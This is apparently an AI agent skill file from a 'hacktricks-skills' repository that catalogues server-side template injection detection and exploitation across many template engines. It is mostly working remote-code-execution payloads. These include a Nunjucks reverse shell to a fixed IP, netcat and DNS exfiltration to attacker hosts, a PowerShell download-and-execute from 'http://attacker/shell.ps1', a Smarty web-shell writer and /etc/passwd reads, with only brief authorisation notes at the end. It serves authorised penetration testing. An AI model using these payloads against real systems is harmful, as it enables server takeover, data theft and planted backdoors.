Hacktricks-skills ssti-server-side-template-injection
Server-Side Template Injection (SSTI) detection and exploitation. Use this skill whenever the user mentions template injection, SSTI, Jinja, Twig, FreeMarker, Velocity, Thymeleaf, or any template engine vulnerability. Also trigger when users need to test web applications for template injection vulnerabilities, identify template engines, or craft SSTI payloads for security assessments. Make sure to use this skill for any web security testing involving template engines, even if the user doesn't explicitly say "SSTI" or "template injection".
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/ssti-server-side-template-injection/ssti-server-side-template-injection/SKILL.MDSSTI (Server-Side Template Injection) Testing
A comprehensive skill for detecting, identifying, and exploiting Server-Side Template Injection vulnerabilities across multiple template engines and programming languages.
Quick Start Workflow
- Detect - Fuzz the target with template injection payloads
- Identify - Determine which template engine is in use
- Exploit - Craft payloads for the specific engine
- Escalate - Move from detection to RCE if possible
Detection Phase
Initial Fuzzing
Start by injecting these special characters to detect template processing:
${{<%[%'"}}%
What to look for:
- Errors thrown (reveals vulnerability and potentially the engine)
- Payload missing from response (server processes it differently)
- Mathematical evaluation (e.g.,
returns{{7*7}}
)49
Distinguish from XSS
Plaintext Context - Server evaluates template expressions:
→{{7*7}}
(SSTI)49
→{{7*7}}
(XSS or no vulnerability){{7*7}}
Code Context - Test dynamic behavior:
- Change
togreeting=data.usernamegreeting=data.username}}hello - If output changes dynamically, SSTI is likely present
Engine Identification Payloads
Use these to identify the template engine:
| Engine | Test Payload | Expected Result |
|---|---|---|
| Jinja2 | | |
| Twig | | |
| FreeMarker | | |
| Velocity | | |
| Thymeleaf | or | |
| ERB (Ruby) | | |
| ASP | | |
| Go | | Data structure |
Tools
Automated Scanners
TInjA - Efficient SSTI + CSTI scanner with polyglots:
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap - Crawler and SSTI detector:
python3 sstimap.py -i -l 5 python3 sstimap.py -u "http://example.com/" --crawl 5 --forms python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap - Automated SSTI exploitation:
python3 tplmap.py -u 'http://target.com/page?name=John*' --os-shell python3 tplmap.py -u "http://target.com/page?user=InjectHere*" --level 5 -e jade
Exploitation by Engine
Java Template Engines
FreeMarker
Basic detection:
{{7*7}} = {{7*7}} ${7*7} = 49 #{7*7} = 49 (legacy)
RCE payloads:
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")}
Sandbox bypass (versions < 2.3.30):
<#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")}
Velocity
#set($s="") #set($stringClass=$s.getClass()) #set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime()) #set($process=$runtime.exec("id")) #set($out=$process.getInputStream()) #set($null=$process.waitFor()) #foreach($i in [1..$out.available()]) $out.read() #end
Thymeleaf
Detection:
[[${7*7}]] ${7*7}
SpringEL RCE:
${T(java.lang.Runtime).getRuntime().exec('calc')}
OGNL RCE:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Expression preprocessing:
#{selection.__${sel.code}__}
Spring Framework
Basic RCE:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Bypass filters - Try these delimiters if
${...} doesn't work:
#{...}*{...}@{...}~{...}
Read /etc/passwd:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Generate encoded payloads: Use
scripts/generate_java_payload.py to create character-encoded command payloads.
Jinjava / HuBL (HubSpot)
Detection:
{{'a'.toUpperCase()}} → 'A' {{ request }} → com.[...].context.TemplateContextRequest@23548206
RCE:
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); x.start()")}}
With output capture:
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"netstat\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}
Groovy
Basic payload:
import groovy.*; @groovy.transform.ASTTest(value={ cmd = "whoami"; assert java.lang.Runtime.getRuntime().exec(cmd.split(" ")) }) def x
With output capture:
import groovy.*; @groovy.transform.ASTTest(value={ cmd = "whoami"; out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next() cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".attacker.com"; java.lang.Runtime.getRuntime().exec(cmd2.split(" ")) }) def x
PHP Template Engines
Twig
Detection:
{{7*7}} = 49 ${7*7} = ${7*7} {{7*'7'}} = 49 {{1/0}} = Error
Information gathering:
{{_self}} {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}}
File read:
"{{'/etc/passwd'|file_excerpt(1,30)}}"
RCE payloads:
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{['id']|filter('system')}} {{['cat /etc/passwd']|filter('system')}}
Suppress errors:
{{["error_reporting", "0"]|sort("ini_set")}}
Smarty
Detection:
{$smarty.version}
RCE:
{php}echo `id`;/php} // deprecated in v3 {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Node.js Template Engines
Nunjucks
Detection:
{{7*7}} = 49 {{foo}} = No output #{7*7} = #{7*7}
RCE:
{{ range.constructor( "return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')" )() }}
Reverse shell:
{{ range.constructor( "return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')" )() }}
Handlebars
Path traversal:
curl -X 'POST' -H 'Content-Type: application/json' --data-binary '{"profile":{"layout": "./../routes/index.js"}}' 'http://target:9090/'
RCE (complex):
{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}
Pug.js / Jade
Detection:
#{7*7} = 49
RCE:
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
Jade style:
- var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80')
JsRender
Server-side RCE:
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Python Template Engines
Jinja2
Detection:
{{7*7}} = Error (in some configs) {{4*4}}[[5*5]] {{7*'7'}} = 7777777 {{config}} {{config.items()}} {{settings.SECRET_KEY}}
Debug:
{% debug %}
RCE (without builtins):
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }}
Tornado
Detection:
{{7*7}} = 49 ${7*7} = ${7*7} {{foobar}} = Error {{7*'7'}} = 7777777
RCE:
{% import os %} {{os.system('whoami')}}
Mako
RCE:
<% import os x=os.popen('id').read() %> ${x}
Ruby Template Engines
ERB
Detection:
{{7*7}} = {{7*7}} ${7*7} = ${7*7} <%= 7*7 %> = 49 <%= foobar %> = Error
RCE:
<%= system("whoami") %> <%= Dir.entries('/') %> <%= File.open('/etc/passwd').read %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %>
With Open3:
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
Slim
Detection:
{ 7 * 7 }
RCE:
{ %x|env| }
.NET Template Engines
Razor
Detection:
@(2+2) → Success @() → Success @("{{code}}") → Success @ → Success @{} → ERROR! @{ → ERROR!
RCE:
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
Encoded PowerShell:
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc [base64]");
ASP Classic
Detection:
<%= 7*7 %> = 49 <%= "foo" %> = foo <%= foo %> = Nothing
RCE:
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://attacker/shell.ps1')").StdOut.ReadAll() %>
Go Template Engine
Detection:
{{ . }} → Reveals data structure {{printf "%s" "ssti" }} → ssti {{html "ssti"}} → ssti {{js "ssti"}} → ssti
XSS bypass:
{{define "T1"}}alert(1){{end}}{{template "T1"}}
RCE - Requires object with executable methods:
{{ .System "ls" }}
Perl (Mojolicious)
Detection:
<%= 7*7 %> = 49 <%= foobar %> = Error
RCE:
<%= perl code %> <% perl code %>
Common Techniques
Command Execution Patterns
Java Runtime:
T(java.lang.Runtime).getRuntime().exec('command')
Python os module:
os.popen('command').read() os.system('command')
Node.js child_process:
require('child_process').execSync('command')
Ruby:
system('command') `command` IO.popen('command').read
File Operations
Read files:
- Java:
T(org.apache.commons.io.IOUtils).toString(Runtime.getRuntime().exec('cat file').getInputStream()) - Python:
open('file').read() - Ruby:
File.open('file').read - Node.js:
require('fs').readFileSync('file')
Environment Variables
Java:
${T(java.lang.System).getenv()}
Python:
{{config}} {{settings}}
Scripts
Use the bundled scripts for common tasks:
- Generate character-encoded Java payloadsscripts/generate_java_payload.py
- Automated detection fuzzingscripts/ssti_detect.py
Safety Notes
- Always have authorization before testing
- Use isolated environments for RCE testing
- Document findings responsibly
- Consider the impact of each payload